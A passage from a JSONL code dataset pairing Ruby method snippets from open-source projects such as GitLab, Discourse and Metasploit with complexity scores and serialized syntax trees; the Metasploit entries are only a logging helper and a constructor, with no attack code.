description\"]},{\"type\":\"str\",\"children\":[\"snapshot\"]}]}]}]},\"result\"]}]}","id":"22779a19-edb9-43bd-b1ed-e41cdbf8def6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240604111411_add_approval_policy_rules_fk_on_approval_merge_request_rules.rb","start_line":9,"raw_source":"def up\n    # rubocop:disable Migration/PreventIndexCreation -- large tables\n    add_concurrent_index :approval_merge_request_rules, :approval_policy_rule_id, name: INDEX_NAME\n    # rubocop:enable Migration/PreventIndexCreation\n    add_concurrent_foreign_key :approval_merge_request_rules, :approval_policy_rules,\n      column: :approval_policy_rule_id,\n      on_delete: :cascade\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"approval_merge_request_rules\"]},{\"type\":\"sym\",\"children\":[\"approval_policy_rule_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"sym\",\"children\":[\"approval_merge_request_rules\"]},{\"type\":\"sym\",\"children\":[\"approval_policy_rules\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"approval_policy_rule_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]}","id":"1078b8ed-088f-4f98-8b94-e5191ce7f3f1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/handler/create_issue_handler.rb","start_line":30,"raw_source":"def can_handle?\n          incoming_email_token && (project_id || can_handle_legacy_format?)\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"can_handle?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"incoming_email_token\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"can_handle_legacy_format?\"]}]}]}]}]}","id":"83b60184-4c88-480a-aa28-4bcad9fe63cd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/adobe_cooltype_sing.rb","start_line":92,"raw_source":"def print_user_agent(cli, req)\n    return unless cli && cli.peerhost\n    return unless req && req.headers\n    return unless ua = req.headers[\"User-Agent\"]\n\n    print_status \"Request from browser: #{ua}\"\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"print_user_agent\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"headers\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ua\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"User-Agent\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Request from browser: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ua\"]}]}]}]}]}]}","id":"6e54c63c-73c0-42a0-8134-f0e6e80bd6e8"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20200211192415_create_data_update_scripts.rb","start_line":2,"raw_source":"def change\n    create_table :data_update_scripts do |t|\n      t.string :file_name, unique: true\n      t.integer :status, default: 0, null: false\n      t.timestamp :run_at\n      t.timestamp :finished_at\n      t.timestamps null: false\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"data_update_scripts\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"file_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamp\",{\"type\":\"sym\",\"children\":[\"run_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamp\",{\"type\":\"sym\",\"children\":[\"finished_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"bd41fc53-b320-42e0-9400-b5df7523b437"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/xml_tool_processor.rb","start_line":161,"raw_source":"def parse_malformed_xml(input)\n        input\n          .scan(\n            %r{\n      <invoke>\n        \\s*\n        <tool_name>\n          ([^<]+)\n        </tool_name>\n        \\s*\n        <parameters>\n          (.*?)\n        </parameters>\n        \\s*\n      </invoke>\n    }mx,\n          )\n          .map do |tool_name, params|\n            {\n              tool_name: tool_name.strip,\n              parameters:\n                params\n                  .scan(%r{\n          <([^>]+)>\n            (.*?)\n          </\\1>\n        }mx)\n                  .each_with_object({}) do |(name, value), hash|\n                    hash[name.to_sym] = value.gsub(/^<!\\[CDATA\\[|\\]\\]>$/, \"\")\n                  end,\n            }\n          end\n      end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_malformed_xml\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      <invoke>\\n\"]},{\"type\":\"str\",\"children\":[\"        \\\\s*\\n\"]},{\"type\":\"str\",\"children\":[\"        <tool_name>\\n\"]},{\"type\":\"str\",\"children\":[\"          ([^<]+)\\n\"]},{\"type\":\"str\",\"children\":[\"        </tool_name>\\n\"]},{\"type\":\"str\",\"children\":[\"        \\\\s*\\n\"]},{\"type\":\"str\",\"children\":[\"        <parameters>\\n\"]},{\"type\":\"str\",\"children\":[\"          (.*?)\\n\"]},{\"type\":\"str\",\"children\":[\"        </parameters>\\n\"]},{\"type\":\"str\",\"children\":[\"        \\\\s*\\n\"]},{\"type\":\"str\",\"children\":[\"      </invoke>\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"regopt\",\"children\":[\"m\",\"x\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tool_name\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tool_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_name\"]},\"strip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parameters\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          <([^>]+)>\\n\"]},{\"type\":\"str\",\"children\":[\"            (.*?)\\n\"]},{\"type\":\"str\",\"children\":[\"          </\\\\1>\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]},{\"type\":\"regopt\",\"children\":[\"m\",\"x\"]}]}]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^<!\\\\[CDATA\\\\[|\\\\]\\\\]>$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}]}","id":"70f9668e-56bb-4960-a076-1f3ed2c76bbd"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/api/v3/parse_query_params_service.rb","start_line":193,"raw_source":"def fix_field_array(field_names)\n        return [] if field_names.nil?\n\n        field_names\n          .map { |name| convert_attribute name, append_id: true }\n      end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"fix_field_array\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field_names\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_names\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_names\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"convert_attribute\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"append_id\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"1567c425-f218-44e8-973e-fca161abb6e2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/projects/pipelines/merge_requests_pipeline.rb","start_line":23,"raw_source":"def on_finish\n          ::Projects::ImportExport::AfterImportMergeRequestsWorker.perform_async(context.portable.id)\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_finish\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Projects\"]},\"ImportExport\"]},\"AfterImportMergeRequestsWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"portable\"]},\"id\"]}]}]}","id":"55163a40-3eca-41a7-986d-d423629f6eed"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/repository/branch.rb","start_line":43,"raw_source":"def api_post_body\n          {\n            branch: name,\n            ref: ref\n          }\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"api_post_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"branch\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[null,\"ref\"]}]}]}]}","id":"cabc5730-e77c-44d1-b707-bf66e72d96c4"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/email/styles.rb","start_line":377,"raw_source":"def deduplicate_style(style)\n      styles = {}\n\n      style\n        .split(\";\")\n        .select(&:present?)\n        .map { _1.split(\":\", 2).map(&:strip) }\n        .each do |k, v|\n          next if k.blank? || v.blank?\n          next if styles[k]&.end_with?(\"!important\") && !v.end_with?(\"!important\")\n          styles[k] = v\n        end\n\n      styles.map { |k, v| \"#{k}:#{v}\" }.join(\";\")\n    end","complexity_score":34.13,"ast_json":"{\"type\":\"def\",\"children\":[\"deduplicate_style\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"style\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"styles\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style\"]},\"split\",{\"type\":\"str\",\"children\":[\";\"]}]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"present?\"]}]}]},\"map\"]},1,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_1\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"int\",\"children\":[2]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"blank?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"styles\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"k\"]}]},\"end_with?\",{\"type\":\"str\",\"children\":[\"!important\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"!important\"]}]},\"!\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"styles\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"styles\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\";\"]}]}]}]}","id":"51ee1b8b-d54b-4fbb-af97-7f12fb5a82a0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/rspec_metadata_validator.rb","start_line":25,"raw_source":"def known_keys\n      @known_keys ||= YAML.load_file(known_keys_file)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"known_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@known_keys\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"send\",\"children\":[null,\"known_keys_file\"]}]}]}]}","id":"244cbea4-69a6-4c28-9e5a-04daa9ba82e6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/container_registry/delete_container_repository_worker.rb","start_line":84,"raw_source":"def log_delete_tags_service_result(container_repository, delete_tags_service_result)\n      logger.info(\n        structured_payload(\n          project_id: container_repository.project_id,\n          container_repository_id: container_repository.id,\n          container_repository_path: container_repository.path,\n          tags_size_before_delete: delete_tags_service_result[:original_size],\n          deleted_tags_size: delete_tags_service_result[:deleted_size]\n        )\n      )\n    end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"log_delete_tags_service_result\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container_repository\"]},{\"type\":\"arg\",\"children\":[\"delete_tags_service_result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"send\",\"children\":[null,\"structured_payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container_repository\"]},\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_repository_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container_repository\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_repository_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container_repository\"]},\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags_size_before_delete\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"delete_tags_service_result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"original_size\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_tags_size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"delete_tags_service_result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"deleted_size\"]}]}]}]}]}]}]}","id":"55f835e6-6bf2-43ed-8155-9ec182a6cef3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary.rb","start_line":41,"raw_source":"def initialize(info = {})\n\n    # Call the parent constructor after making any necessary modifications\n    # to the information hash.\n    super(info)\n\n    self.sockets = Array.new\n    self.queue   = Array.new\n    self.fail_reason = Msf::Module::Failure::None\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"info\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sockets=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"queue=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fail_reason=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"None\"]}]}]}]}","id":"c31a4fb5-c1a0-4a8b-a8d3-c8a24f0f087c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/search_service.rb","start_line":106,"raw_source":"def status_search?\n    @options[:type].blank? || @options[:type] == 'statuses'\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"status_search?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"statuses\"]}]}]}]}","id":"2082e1f9-7c4a-45e7-a4ae-f23e0a295a6e"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/webhooks/sms_events_job.rb","start_line":6,"raw_source":"def perform(params = {})\n    return unless SUPPORTED_EVENTS.include?(params[:type])\n\n    channel = Channel::Sms.find_by(phone_number: params[:to])\n    return unless channel\n\n    process_event_params(channel, params)\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SUPPORTED_EVENTS\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"channel\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Channel\"]},\"Sms\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"phone_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"to\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"process_event_params\",{\"type\":\"lvar\",\"children\":[\"channel\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"b4e44842-65eb-4cc1-b517-8719c1d5fda6"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/portal.rb","start_line":61,"raw_source":"def default_locale\n    config['default_locale'] || 'en'\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"default_locale\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"default_locale\"]}]},{\"type\":\"str\",\"children\":[\"en\"]}]}]}","id":"f42dacde-e804-474a-ae66-4a463386ae52"}
{"repo_name":"pundit","file_path":"./repos/pundit/lib/pundit.rb","start_line":67,"raw_source":"def policy(user, *args, **kwargs, &block)\n      Context.new(user: user).policy(*args, **kwargs, &block)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"policy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Context\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},\"policy\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"2fa0044f-53bd-488f-8872-477d92243b9b"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/schema/model_writer.rb","start_line":82,"raw_source":"def method_documentation(table_name, columns)\n      max_column_name_length = columns.map { |c| c.name.length }.max\n\n      documentation = +\"    # Creates a new `#{table_name}` record in the IntermediateDB.\\n\"\n      documentation << \"    #\\n\"\n\n      param_documentation =\n        columns.map do |c|\n          param_name = c.name.ljust(max_column_name_length)\n          datatypes = datatypes_for_documentation(c)\n          \"    # @param #{param_name}   [#{datatypes}]\"\n        end\n\n      max_line_length = param_documentation.map(&:length).max\n      see_documenation = []\n\n      columns.each_with_index do |column, index|\n        if (enum = column.enum)\n          enum_module_name = ::Migrations::Database::Schema.to_singular_classname(enum.name)\n          enum_value_names = enum.values.sort_by { |_k, v| v }.map(&:first)\n          first_const_name = ::Migrations::Database::Schema.to_const_name(enum_value_names.first)\n\n          enum_documentation =\n            \"    #   Any constant from #{enum_module_name} (e.g. #{enum_module_name}::#{first_const_name})\"\n\n          line = param_documentation[index].ljust(max_line_length)\n          param_documentation[index] = \"#{line}\\n#{enum_documentation}\"\n\n          see_documenation << \"#{@enum_namespace}::#{enum_module_name}\"\n        end\n      end\n\n      documentation << param_documentation.join(\"\\n\")\n      documentation << \"\\n    #\\n\"\n      documentation << \"    # @return [void]\"\n\n      if see_documenation.any?\n        documentation << \"\\n    #\\n\"\n        documentation << see_documenation.map { |see| \"    # @see #{see}\" }.join(\"\\n\")\n      end\n\n      documentation\n    end","complexity_score":68.5,"ast_json":"{\"type\":\"def\",\"children\":[\"method_documentation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"columns\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"max_column_name_length\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]},\"length\"]}]},\"max\"]}]},{\"type\":\"lvasgn\",\"children\":[\"documentation\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    # Creates a new `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\"` record in the IntermediateDB.\\n\"]}]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"documentation\"]},\"<<\",{\"type\":\"str\",\"children\":[\"    #\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"param_documentation\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"param_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]},\"ljust\",{\"type\":\"lvar\",\"children\":[\"max_column_name_length\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"datatypes\",{\"type\":\"send\",\"children\":[null,\"datatypes_for_documentation\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    # @param \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"param_name\"]}]},{\"type\":\"str\",\"children\":[\"   